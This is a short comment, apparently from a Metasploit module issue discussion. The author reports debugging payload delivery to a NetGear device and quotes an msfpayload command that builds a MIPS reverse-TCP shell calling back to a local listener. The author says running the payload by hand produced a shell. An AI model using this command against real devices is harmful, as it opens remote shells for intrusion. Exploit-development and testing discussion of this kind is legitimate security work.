Interesting, I generated a payload in msf:
```
msfpayload linux/mipsbe/shell_reverse_tcp LPORT=4444 LHOST=192.168.1.136 X > /tmp/shell_reverse_mips.elf
```
I then uploaded that file to the NetGear device, and ran it, and it worked fine, providing me a shell. So I'm guessing something isn't working properly in the delivery of the payload in the module.

I wish I would have tried that 3 days ago.